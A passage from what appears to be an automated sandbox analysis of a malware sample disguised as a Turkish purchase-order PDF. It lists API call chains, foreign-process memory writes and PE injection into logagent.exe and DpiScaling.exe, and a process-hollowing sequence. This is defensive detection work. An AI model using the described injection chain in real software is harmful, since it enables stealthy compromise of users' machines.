2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_tr
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040728F Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindNextFileA,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,DeleteFileA,GetLastError,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040477E _EH_prolog,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,socket,connect,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,_CxxThrowException,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,_CxxThrowException,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,_CxxThrowException,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,_CxxThrowException,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindClose,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00403325 ?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindNextFileW,FindNextFileW,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00412BEE wcscpy,wcscpy,wcscat,wcscat,wcscpy,wcscat,FindFirstFileW,wcscpy,RemoveDirectoryW,FindNextFileW,wcscat,RemoveDirectoryW,wcscpy,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10548C1E getenv,FindFirstFileA,FindClose,GetLastError,GetLastError,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10544CB4 FindFirstFileW,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1055457D FindFirstFileW,FindNextFileW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1054610D _EH_prolog,socket,connect,_CxxThrowException,FindFirstFileW,_CxxThrowException,FindNextFileW,_CxxThrowException,_CxxThrowException,FindClose,atoi,_CxxThrowException,atoi,FindClose,RtlExitUserThread,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10546599 FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10548EAA getenv,FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindClose,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10551F15 FindFirstFileW,

Source: C:\Windows\SysWOW64\logagent.exe

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310315497.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310315497.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpp.com
Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310005988.0000000000775000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8{%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\logagent.exe

Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_105410AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_105410AC mov eax, dword ptr fs:[00000030h]

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 940000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 9D0000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 9E0000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 9F0000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: C00000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: C10000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 950000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 960000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 970000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 10540000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 980000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 990000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 5F0000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 880000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: C50000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 800000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 810000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 820000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 830000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 840000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 850000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 10540000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 860000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 870000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 1000000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 1010000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 4BA0000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 3060000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 3070000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 3080000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 3090000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 30A0000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 30B0000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 10540000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 30C0000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 30D0000

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 10540000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 940000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 9D0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 9E0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 9F0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: C00000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: C10000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 950000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 960000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 970000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 980000 protect: page execute and read and write
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 990000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 10540000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 5F0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 880000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: C50000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 800000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 810000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 820000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 830000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 840000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 850000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 860000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\logagent.exe base: 870000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 10540000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 1000000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 1010000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 4BA0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 3060000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 3070000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 3080000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 3090000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 30A0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 30B0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 30C0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory allocated: C:\Windows\SysWOW64\DpiScaling.exe base: 30D0000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 10540000 value starts with: 4D5A
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\logagent.exe base: 10540000 value starts with: 4D5A
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Memory written: C:\Windows\SysWOW64\DpiScaling.exe base: 10540000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_0040F219 _EH_prolog,CloseHandle,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: 940000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: C00000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: 970000
Source: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: 990000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: 5F0000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: 810000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: 850000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\logagent.exe EIP: 870000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\DpiScaling.exe EIP: 1000000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\DpiScaling.exe EIP: 3070000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\DpiScaling.exe EIP: 30B0000
Source: C:\Users\Public\Libraries\Eluiezilfw.exe	Thread created: C:\Windows\SysWOW64\DpiScaling.exe EIP: 30D0000

Source: C:\Windows\SysWOW64\logagent.exe

Code function: GetCurrentProcessId,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,OpenMutexA,CloseHandle,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,OpenProcess,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV?$allocator@G@1@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,_wgetenv,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??4?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,_wgetenv,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??4?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??Y?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV01@PBG@Z,?c_str@?$basic_string@DU?$char_traits@D